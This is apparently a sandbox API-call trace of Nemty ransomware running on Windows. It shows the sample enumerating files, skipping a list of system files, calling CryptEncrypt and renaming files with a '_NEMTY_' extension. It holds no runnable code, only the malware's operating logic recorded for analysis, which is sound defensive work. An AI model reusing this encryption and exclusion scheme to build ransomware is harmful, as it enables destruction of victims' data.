[0106.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94258, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.273] CloseHandle (hObject=0xffffffff) returned 0 [0106.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0106.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0106.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png._nemty_kgobjgd_")) returned 0 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0106.273] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5788, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1 [0106.273] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".") returned 1 [0106.273] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="..") returned 1 [0106.273] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="...") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="windows") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="$RECYCLE.BIN") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="rsa") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="NTDETECT.COM") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="ntldr") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="MSDOS.SYS") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="IO.SYS") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="boot.ini") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="boot.ini") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="ntuser.dat") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="desktop.ini") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="CONFIG.SYS") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="RECYCLER") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="BOOTSECT.BAK") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="bootmgr") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="programdata") returned 1 [0106.274] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2="appdata") returned 1 [0106.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.jpg", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0106.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.jpg", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color120.jpg", lpUsedDefaultChar=0x0) returned 19 [0106.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0106.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.jpg", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0106.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.jpg", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color120.jpg", lpUsedDefaultChar=0x0) returned 19 [0106.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0106.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.jpg", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0106.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.jpg", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color120.jpg", lpUsedDefaultChar=0x0) returned 19 [0106.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.jpg", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0106.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.jpg", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color120.jpg", lpUsedDefaultChar=0x0) returned 19 [0106.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0106.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0106.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94300 [0106.275] Sleep (dwMilliseconds=0x5) [0106.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2febc90, dwHighDateTime=0x1d561e7)) [0106.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2febc90, dwHighDateTime=0x1d561e7)) [0106.280] GetLastError () returned 0x5 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.281] GetLastError () returned 0x5 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.281] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.281] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.281] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0106.281] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="CNydcGMRyH4mE/QjbDJPbU23XWnrk1XTZnbHf2hO7MTCfl2NEqKqUfeZtAWlCUTJ\r\nzDYzAwkdR13JPQo545y6VjSWSrNaNoaY9kF7pJrKfSZXbiJ23VekUyVNWXtgmPVk\r\nHVIf0BCinPq6Wugj9g3LpQPjtDstqWdndjNdRqr8QCGQbpHaJJXWs54WpUEhHCKI\r\ngmi5IEImRLCVq3JHlslNoEYAUU2bl6ZoyXvbznZNPXbwMGseK5i7OIoZMNDr7lsC\r\n+C3mTb/zviDcL+8Wmo+yslxvQT7Ly4/1pTTPKDQRr4asocraU8FehgWOrJVOLwko\r\nzb06/fzHcUK1EH6fMY5xNg==\r\n", pcchString=0x653ef9c) returned 1 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.281] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.281] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.395] CloseHandle (hObject=0xffffffff) returned 0 [0106.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0106.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0106.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) 